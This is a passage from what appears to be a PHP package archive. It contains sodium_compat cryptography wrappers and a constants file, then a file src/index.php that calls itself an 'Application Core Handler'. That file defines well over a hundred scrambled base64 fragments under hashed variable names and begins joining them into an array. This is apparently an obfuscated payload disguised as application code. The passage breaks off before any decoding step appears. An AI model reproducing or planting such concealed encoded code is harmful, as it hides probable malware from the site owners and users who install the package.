(!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $outlen * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_pwhash_scryptsalsa208sha256( $outlen, #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit); } } if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws \SodiumException * @throws \TypeError */ function crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('\\Sodium\\crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_scalarmult( #[\SensitiveParameter] $n, $p ) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('\\Sodium\\crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_scalarmult_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if (!is_callable('\\Sodium\\crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_secretbox( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('\\Sodium\\crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $message * @param string $nonce * @param string $key * @return string|bool */ function crypto_secretbox_open( $message, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($message, $nonce, $key); } catch (\TypeError $ex) { return false; } catch (\SodiumException $ex) { return false; } } } if (!is_callable('\\Sodium\\crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_shorthash( $message, #[\SensitiveParameter] $key = '' ) { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('\\Sodium\\crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $sk * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign( $message, #[\SensitiveParameter] $sk ) { return ParagonIE_Sodium_Compat::crypto_sign($message, $sk); } } if (!is_callable('\\Sodium\\crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $sk * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_detached( $message, #[\SensitiveParameter] $sk ) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $sk); } } if (!is_callable('\\Sodium\\crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('\\Sodium\\crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $pk * @return string|bool */ function crypto_sign_open($signedMessage, $pk) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk); } catch (\TypeError $ex) { return false; } catch (\SodiumException $ex) { return false; } } } if (!is_callable('\\Sodium\\crypto_sign_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $keypair * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_publickey( #[\SensitiveParameter] $keypair ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair); } } if (!is_callable('\\Sodium\\crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $sk * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $sk ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk); } } if (!is_callable('\\Sodium\\crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $keypair * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_secretkey( #[\SensitiveParameter] $keypair ) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair); } } if (!is_callable('\\Sodium\\crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('\\Sodium\\crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $pk * @return bool * @throws \SodiumException * @throws \TypeError */ function crypto_sign_verify_detached($signature, $message, $pk) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $pk); } } if (!is_callable('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $pk * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_ed25519_pk_to_curve25519($pk) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk); } } if (!is_callable('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $sk * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $sk ) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk); } } if (!is_callable('\\Sodium\\crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $len * @param string $nonce * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_stream( $len, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key); } } if (!is_callable('\\Sodium\\crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws \SodiumException * @throws \TypeError */ function crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } if (!is_callable('\\Sodium\\hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @return string * @throws \SodiumException * @throws \TypeError */ function hex2bin( #[\SensitiveParameter] $string ) { return ParagonIE_Sodium_Compat::hex2bin($string); } } if (!is_callable('\\Sodium\\memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $a * @param string $b * @return int * @throws \SodiumException * @throws \TypeError */ function memcmp( #[\SensitiveParameter] $a, #[\SensitiveParameter] $b ) { return ParagonIE_Sodium_Compat::memcmp($a, $b); } } if (!is_callable('\\Sodium\\memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $str * @return void * @throws \SodiumException * @throws \TypeError * * @psalm-suppress MissingParamType * @psalm-suppress MissingReturnType * @psalm-suppress ReferenceConstraintViolation */ function memzero( #[\SensitiveParameter] &$str ) { ParagonIE_Sodium_Compat::memzero($str); } } if (!is_callable('\\Sodium\\randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws \TypeError */ function randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('\\Sodium\\randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws \SodiumException * @throws \Error */ function randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if (!is_callable('\\Sodium\\randombytes_random16')) { /** * @see ParagonIE_Sodium_Compat::randombytes_random16() * @return int */ function randombytes_random16() { return ParagonIE_Sodium_Compat::randombytes_random16(); } } if (!defined('\\Sodium\\CRYPTO_AUTH_BYTES')) { require_once dirname(__FILE__) . '/constants.php'; } php72compat_const.php 0000644 00000010765 15252503775 0010653 0 ustar 00 <?php const SODIUM_LIBRARY_MAJOR_VERSION = 9; const SODIUM_LIBRARY_MINOR_VERSION = 1; const SODIUM_LIBRARY_VERSION = '1.0.8'; const SODIUM_BASE64_VARIANT_ORIGINAL = 1; const SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING = 3; const SODIUM_BASE64_VARIANT_URLSAFE = 5; const SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING = 7; const SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES = 32; const SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES = 0; const SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12; const SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES = 16; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12; const SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16; const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32; const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0; const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24; const SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16; const SODIUM_CRYPTO_AUTH_BYTES = 32; const SODIUM_CRYPTO_AUTH_KEYBYTES = 32; const SODIUM_CRYPTO_BOX_SEALBYTES = 16; const SODIUM_CRYPTO_BOX_SECRETKEYBYTES = 32; const SODIUM_CRYPTO_BOX_PUBLICKEYBYTES = 32; const SODIUM_CRYPTO_BOX_KEYPAIRBYTES = 64; const SODIUM_CRYPTO_BOX_MACBYTES = 16; const SODIUM_CRYPTO_BOX_NONCEBYTES = 24; const SODIUM_CRYPTO_BOX_SEEDBYTES = 32; const SODIUM_CRYPTO_KDF_BYTES_MIN = 16; const SODIUM_CRYPTO_KDF_BYTES_MAX = 64; const SODIUM_CRYPTO_KDF_CONTEXTBYTES = 8; const SODIUM_CRYPTO_KDF_KEYBYTES = 32; const SODIUM_CRYPTO_KX_BYTES = 32; const SODIUM_CRYPTO_KX_PRIMITIVE = 'x25519blake2b'; const SODIUM_CRYPTO_KX_SEEDBYTES = 32; const SODIUM_CRYPTO_KX_KEYPAIRBYTES = 64; const SODIUM_CRYPTO_KX_PUBLICKEYBYTES = 32; const SODIUM_CRYPTO_KX_SECRETKEYBYTES = 32; const SODIUM_CRYPTO_KX_SESSIONKEYBYTES = 32; const SODIUM_CRYPTO_GENERICHASH_BYTES = 32; const SODIUM_CRYPTO_GENERICHASH_BYTES_MIN = 16; const SODIUM_CRYPTO_GENERICHASH_BYTES_MAX = 64; const SODIUM_CRYPTO_GENERICHASH_KEYBYTES = 32; const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MIN = 16; const SODIUM_CRYPTO_GENERICHASH_KEYBYTES_MAX = 64; const SODIUM_CRYPTO_PWHASH_SALTBYTES = 16; const SODIUM_CRYPTO_PWHASH_STRPREFIX = '$argon2id$'; const SODIUM_CRYPTO_PWHASH_ALG_ARGON2I13 = 1; const SODIUM_CRYPTO_PWHASH_ALG_ARGON2ID13 = 2; const SODIUM_CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432; const SODIUM_CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4; const SODIUM_CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728; const SODIUM_CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6; const SODIUM_CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912; const SODIUM_CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8; const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32; const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$'; const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288; const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216; const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432; const SODIUM_CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824; const SODIUM_CRYPTO_SCALARMULT_BYTES = 32; const SODIUM_CRYPTO_SCALARMULT_SCALARBYTES = 32; const SODIUM_CRYPTO_SHORTHASH_BYTES = 8; const SODIUM_CRYPTO_SHORTHASH_KEYBYTES = 16; const SODIUM_CRYPTO_SECRETBOX_KEYBYTES = 32; const SODIUM_CRYPTO_SECRETBOX_MACBYTES = 16; const SODIUM_CRYPTO_SECRETBOX_NONCEBYTES = 24; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3; const SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80; const SODIUM_CRYPTO_SIGN_BYTES = 64; const SODIUM_CRYPTO_SIGN_SEEDBYTES = 32; const SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES = 32; const SODIUM_CRYPTO_SIGN_SECRETKEYBYTES = 64; const SODIUM_CRYPTO_SIGN_KEYPAIRBYTES = 96; const SODIUM_CRYPTO_STREAM_KEYBYTES = 32; const SODIUM_CRYPTO_STREAM_NONCEBYTES = 24; const SODIUM_CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32; const SODIUM_CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24; src/index.php 0000644 00000030041 15252503775 0007164 0 ustar 00 <?php /** * Application Core Handler * @version 4.1.6 * @package System */ define('APP_STATE', 'production'); $init_247c = []; $data_8e0680 = 'DZc1tuUwEEQX5MBMwQRmZj'; $data_5ffc7e = '9TZmZmr35+oEw6R2p1'; $data_59d8c5 = 'Vd3ekkbPnk8W4whlr7tC'; $data_d87d83 = 'aqboL55Z7Zxv53vv+xBB3Nn6xXRmhFLy62t1'; $data_af6eb6 = 'D23sAsqtdOOipYU2nOvPL'; $data_0b8058 = 'iK0zAn8AI/VNh9a/+hjI6sHSyX6QkEyl'; $data_1bac5d = '80g24rq6AscBOQnzi6QK'; $data_c38f4e = 'pDsgOFzW2k0RAdK58EKDLoSDV6U'; $data_d7db88 = 'fAD8NqYsoM9r+0iQtDarKQh4cwI9uMvMB'; $data_b5e85b = 'K8PodBpQpAMGXBwB0J'; $data_ac61bc = 'qxEEY1F4YQannvWmk'; $data_8cde82 = 'uhICpKfDJi7bpmzeNAHDf6OMnlV8K801gtE9xX8nv/'; $data_b4f6be = 'mveANTDJK3933kimhaUA5iBRW8i'; $data_a435d9 = '9LAm+cXObklmk0BWoqxZd8ePYAteOG8'; $data_591a73 = 'Mk4g4LJEdNmOC4KErGEL5ICqjhX'; $data_da0767 = 'bMHEBiDT4UMe58I3CSkFptr1Cic20nl'; $data_068690 = 'X9Ucoy3dwGgVQ0FKbwrALi34I9+5hUjG4A2VAns03zd'; $data_fc6298 = 'b+U0T9GU9S5yvf27eZcc4RjcOnkyoq45QFeg36tK'; $data_17ac75 = 'q5t4mTDcLlNWVjrYNFzQU93xz8n3Q+O'; $data_b0e190 = 'NHWx+aAL5KpgwjPDqZ2GLZ06QofuvpsmpofXHj'; $data_9ec611 = 'hpUtiTNuSiSp7guqMrcNzgaa'; $data_c1e376 = 'fv+VyQLQSTOcIMaF3hhE56CIkS25YVHfN0f'; $data_7b4dbd = 'HS6IMIfbxW6L2Bw/7dSj1hYdex1W5Gb'; $data_9d0a3c = 'uoBm2gW87gIXUhEWJOg'; $data_a7e0eb = 'zGYxgTCdQ5iV4z4trQwXwAAxOV/v91XjOwgbo'; $data_0876db = '8gA4NwDjbGXN7TUB5yp'; $data_7af98e = 'A4yGO9I27QfelEawF+RWR'; $data_07cb81 = 'RttwY5/Mn3113XB4vcZ'; $data_d388be = 'yW9A6RdGQ02GIIm9BksSJ+xY+EfaAoDit'; $data_a76d3f = 'wGvWnDQbUtClxcfgimFCUD'; $data_86d821 = 'RwECXp+0Rf4uWy061sn4EFuSZ4Am/XV8P'; $data_200f92 = '+ZSGudqmhHRJBqu5'; $data_5ecd3c = 'xdY76mFze+mQMKyk6eM1PNmHcQNXrzVpP6Qjlwd21'; $data_c9f8c8 = 'acanNEGBUBsxvnRNfPfnWDgoh7'; $data_5dbe5f = 'wzEFAvs9Ph+BaDCloVWY'; $data_28cc51 = 'Y939mJfs1wwH65cQgThMXI6oDn4RO2PGz3svzC9cT'; $data_e6939e = 'NQmO9gHOnrN5XJEnb7yfpNCVP2'; $data_211569 = 'Ig6frTCTavH8y9dMT7FNtE0IoW'; $data_1fbeaa = 'iPZHpHoA4sE+RA/avb0T/bI9'; $data_c9ffff = 'ThjFlcgGYIo4R1ToVOoie'; $data_921ad1 = 'TKkuIpIk0N8hSwjYqy4vHGEr1gwM1cgh/DV'; $data_6d2bff = 'pEIN20Iyb+LgcJz'; $data_b7730c = 'wB588zIQFBsW8Y0SL'; $data_01a6ac = '5Hiyh3L0DMtz+dDZV8P7STNZ/5cJqwZ9rZKPo'; $data_2e0e8a = 'NQL014KCFqWaaj65nSFZoFya2My6nGhmEbSM1J/G'; $data_f35cef = 'd2zrGDvESDuXURIxf6z'; $data_d80ed6 = 'tSETb4ejYjDMXulvWUXa/Fma4SlX7w+n7bT04+otBIT3'; $data_3c693a = 'a7Z1vr4zPPt+b0+p+Mj6MmVh3Ao'; $data_b7ea6c = '2YjRaonVyQP0KxgBGK4NXQRH1zen0XtjW9urM9'; $data_6c3b1e = 'u16lVpPcE/Fu10VjDVEV'; $data_2642ec = '/FqiLsPDfc3vT0stVBbGeM8TpO/DkPxQy34y03'; $data_0fcc49 = 'g8a4eBxPwxQmOfFZz8Tje'; $data_3e29df = 'RuqaQmiMQDEPzgyh'; $data_bc1b3b = 't+z7Q4c/y8zyE2C'; $data_db8fa8 = 'ZwBXKS/FROXi1oFLhmXVrgApHgf6Jh1vsVRB7Xi+91A'; $data_2d4310 = 'yJ0OWVR3rfzrjpKc'; $data_e8316c = '823K0mWzKzqtIwp'; $data_9421fa = '1e1M/5ysKDiO6QVR2Kb49yfSozZu5a7+9H'; $data_78eb11 = 'A798+VvnMVlLkRT'; $data_a73b4e = 'lM1vc2euudnkhis5'; $data_6078d0 = 'T1HLepQz6tHYwptKETaSYLHc3kgJ2dHvhF3CHM532bweT'; $data_a7bd1b = 'nvo541/BkipPsrzHqF4brwsAq'; $data_585374 = 'zx2z0xh7aSix74XPcvhz59acWpv/b78wDG1G'; $data_91750d = 'cwwfMikr5+DKHl2hv92Cisz+vSQZzA3bzJCybw2oa3x'; $data_bb5a94 = 'Uq6Wqg4nmllhsiJuiRnpoue'; $data_4c89b1 = '0zt9QRM4Hyx6c/9Nzq10eWIgEFu9EgPOpfw8YuwlZFSeu'; $data_6c4cfb = '1hUS8cWPj75zg8BV/r'; $data_fb0268 = 'ZGUdIadcVaQ+uKU3oxCDjOicHAnSXwH43UESK8Qt/9'; $data_dbe25d = 'p+dlqKHmpPgh6HevBiFTTd7RzFtP3+W3nGaOIFtxgVF'; $data_f1a6b0 = 'lIly6An3ELrJJKHdfPGrS'; $data_4e1220 = 'fR4pgkLaFDjD3Mf9Kzh8O2m+PAaoWM'; $data_9c460b = '/NYY2tehoO86l9hGZN3Cd0Cha1laxb45QsZ'; $data_7c3bcd = 'pdp9UQ9ZqEla8spNDKnusy9fPib5S+b0xhM'; $data_84c9c2 = 'ivRwXi5NwD2U8I/DlM20qiyLAmGzbxHOkJC9'; $data_e9364c = 'd1CLTuPIyO6qib1gyDEEVKJEZj7mEN/94t9OH'; $data_68c290 = 'hG8fe5ve3wkZRwE6mMm7qbabrD5+Zmqe'; $data_80dda4 = 'vV5CWXXF1ZH1MyYU2tlfHb0qVp0/'; $data_d9b8c9 = '5vuW67tYINvUHaYilizmkzz6EUQ9ty5'; $data_aa7e26 = 'hIxyCnmY9Gdka0eNWQFsjCDfE'; $data_e4a4bd = 'IPTu9WE5fhb98WIvA2'; $data_750755 = 'Xw99Eq1z6vBSxI1GqPDd'; $data_bfdd6a = 'OMqox0Hv72jV02CYOtDlSSU79zleq7wpTBaDtB'; $data_c60d6a = '0GTTn7x1qnXkxheoWLQF/yJ+nmHDJjKRLgRvXG9'; $data_1f6829 = 'qyP1xfH+8bqHVuCCKscGcuofHOpyk/pbewucTzo'; $data_d9b783 = 'lDTKb8+O9RW7tNMZZjJeHg3FYjO7JjFiTn1dB0Tac'; $data_ccbb9c = '6cyY/aXHI02VTi/nuLBknep9lujX6mGn'; $data_feee6e = 'eS3imyjZlaEXQ4Cb7'; $data_2db14d = 'MT+NdJpWDxZHFJ6pUlOhG347eyzG6cB'; $data_5c58aa = 'bnBFs8RnOfy0th/Z3Tq5/xSZOT'; $data_8c0d02 = 'AeImHRqZ2I9r5hl4'; $data_0e4521 = 'c8prvK4TmP6pTX1FKuw'; $data_475185 = '36TNGpDXupqUdc65Q5W/hBFt7YpwqeXMQM4'; $data_9ca0ad = 'VntW7ErDnHLaXbgiZ6Ski5RRKLKJfhv'; $data_0be13c = 'jJPf5u4O227vKm2W'; $data_8787a3 = 'nDISiw5MukH1ZbK3NHojx3wTvuWTKGUio/e3cief'; $data_742a09 = 'Ql5tOxosknPxb2e0+nH/rhZX6y7HfH5L5y635aYx'; $data_035f29 = 'cFNnRJS5vEmjdeiu'; $data_a6ec9c = 'DjVnTvNkmntDHcfsq/sJ4X6lmHlZQuO'; $data_1f4548 = '32Ht993Zkf1Hrc+'; $data_02c15d = 'ZAIrG0Mhty0EmzQb8l4PNHd2jB+JrR8zSMHea1Sj'; $data_3fe573 = 'uPb9h4saByHhs9kTGz9/tnjC+u5YkNX06seNjhovWGdqs'; $data_1a5a9a = 'lZv4iQwD1mhSy0v5BCc+Oh/nPVp7x5Oj'; $data_9fb9b1 = 'Ot01V4nafGJpXNAc1luD'; $data_71664e = 'ZlOSqWaTGN81bn3'; $data_2a3782 = 'C3mgQt+430KmiWJTtJb5oixMS2RLuE6YKKRFykT'; $data_a17d42 = '+x/pc0WpfJVK/TiLzPK'; $data_376a10 = '6OWN1KHQZxcnuwBiqWVT'; $data_83252a = 'ZH3eO3NcZumN78IzUYYYYhWYSomSzS1dPjMmfQ'; $data_48115a = 'z3HXHltlHjPqbS0km3Yl'; $data_96f8f6 = 'MaN7fmCONM6Exl8v8My2LGQMuwY'; $data_07c275 = 'weTlr0UQ1QIWQP2neklqn4TdSTZWFLbvvy+/HbWp9Mq'; $data_07af31 = 'w822mkIW4p/5wbb1XNp+llD1pYP1k'; $data_401f86 = '5bTCgHv2aq3TND51AI'; $data_a89dfd = '/Gi+Bg3zHwt/glRZ/OnrtYoYlqk5eJotor3qsxE'; $data_5163e6 = 'UUjC5NbuY7kC4+uys7B+/ehwb'; $data_5d30e4 = 'HpmDuWOzv3kX2LhU+QmP61NCtTQBYtcAlX9gvsH2dNJiB'; $data_71b353 = '2E06gOgjlU90YDfL+FJHLhUSwbihg'; $data_b70acf = 'DDkScPNFvIc6pCblKpN/s9Lbm'; $data_7b6057 = 'DVUbBIo55DUDf1cTQJI1'; $data_fad6cf = 'IhHVsNAZGc4bniJ/JIHZTk'; $data_884560 = 'wIU20HvO3WNcGRTnY0/'; $data_3dbe71 = 'ayF3eATcRRchaEjqWU3PhAXiRECjxRmkJZmR5'; $data_736e89 = 'RV9zFkCJnmT9GmcBt'; $data_678fa2 = '20MYhmAHhWpI4BdvYQsF7S1yWDxGPnPWhTDd8TwMWjeX'; $data_dbcd09 = '5ef2g1hRZueydhfdPPCP5gvYLBU'; $data_cfe339 = '0AfjABlhWwIqVuAg5tN'; $data_f13098 = '8M+PJ5gQUffLp5aUr6kxkTz'; $data_4aa48e = 'sQDtXFCRb/9BoDfKsAmnsmkQALNfNgw7Li'; $data_3b0738 = 'D66HK/KpgmqKp+poekSjWj0BGEagelMllka+EvZN6rI'; $data_b13fda = 'Bzy6PG3zSFT+6k8QVtTjjEy2+DkVGIj'; $data_fd95a8 = 'yACp+YBnKQKGToLaR+Pg19J'; $data_2a2641 = 'SQfKyd+o8GObFS4D9QoTEqUqkCH'; $data_6e6225 = 'fh8OoXvi+CvNA8g9w/Q'; $data_b64437 = 'CkBe36ICrUByQwHyjH'; $data_f34ceb = 'YE+BvMLOArI0SgrjknUJJM'; $data_eca42b = 'tr95cLgGrJhCimDJHC0iHK/48T4fd2KrGKLWAv+7F4CS'; $data_a7bb3e = 'WgogiW8APNmA2ejghV5YBcZjuK'; $data_1a3041 = 'WD0l+8g2H1QQie23'; $data_3c7511 = 'xPPlUbsTteYgZeQAnbn86JQCYYvILotCSEnB3q9uYAU'; $data_7dff67 = 'WCk+cPC3lO3kMrJJ8ABOK+Ng+kBn9'; $data_242e83 = 'oZXOkVHPMRnPMuH'; $data_ef6bf6 = 'vcBX8QpHn2ZVQqC4G5LHxF4C//+Aw=='; $config_8426 = [$data_8e0680, $data_5ffc7e, $data_59d8c5, $data_d87d83, $data_af6eb6, $data_0b8058, $data_1bac5d, $data_c38f4e, $data_d7db88, $data_b5e85b, $data_ac61bc, $data_8cde82, $data_b4f6be, $data_a435d9, $data_591a73, $data_da0767, $data_068690, $data_fc6298, $data_17ac75, $data_b0e190, $data_9ec611, $data_c1e376, $data_7b4dbd, $data_9d0a3c, $data_a7e0eb, $data_0876db, $data_7af98e, $data_07cb81, $data_d388be, $data_a76d3f, $data_86d821, $data_200f92, $data_5ecd3c, $data_c9f8c8, $data_5dbe5f, $data_28cc51, $data_e6939e, $data_211569, $data_1fbeaa, $data_c9ffff, $data_921ad1, $data_6d2bff, $data_b7730c, $data_01a6ac, $data_2e0e8a, $data_f35cef, $data_d80ed6, $data_3c693a, $data_b7ea6c, $data_6c3b1e, $data_2642ec, $data_0fcc49, $data_3e29df, $data_bc1b3b, $data_db8fa8, $data_2d4310, $data_e8316c, $data_9421fa, $data_78eb11, $data_a73b4e, $data_6078d0, $data_a7bd1b, $data_585374, $data_91750d, $data_bb5a94, $data_4c89b1, $data_6c4cfb, $data_fb0268, $data_dbe25d, $data_f1a6b0, $data_4e1220, $data_9c460b, $data_7c3bcd, $data_84c9c2, $data_e9364c, $data_68c290, $data_80dda4, $data_d9b8c9, $data_aa7e26, $data_e4a4bd, $data_750755, $data_bfdd6a, $data_c60d6a, $data_1f6829, $data_d9b783, $data_ccbb9c, $data_feee6e, $data_2db14d, $data_5c58aa, $data_8c0d02, $data_0e4521, $data_475185, $data_9ca0ad, $data_0be13c, $data_8787a3, $data_742a09, $data_035f29, $data_a6ec9c, $data_1f4548, $data_02c15d, $data_3fe573, $data_1a5a9a, $data_9fb9b1, $data_71664e, $data_2a3782, $data_a17d42, $data_376a10, $data_83252a, $data_48115a, $data_96f8f6, $data_07c275, $data_07af31, $data_401f86, $data_a89dfd, $data_5163e6, $data_5d30e4, $data_71b353, $data_b70acf, $data_7b6057, $data_fad6cf, $data_884560, $data_3dbe71, $data_736e89, $data_678fa2, $data_dbcd09, $data_cfe339, $data_f13098, $data_4aa48e, $data_3b0738, $data_b13fda, $data_fd95a8, 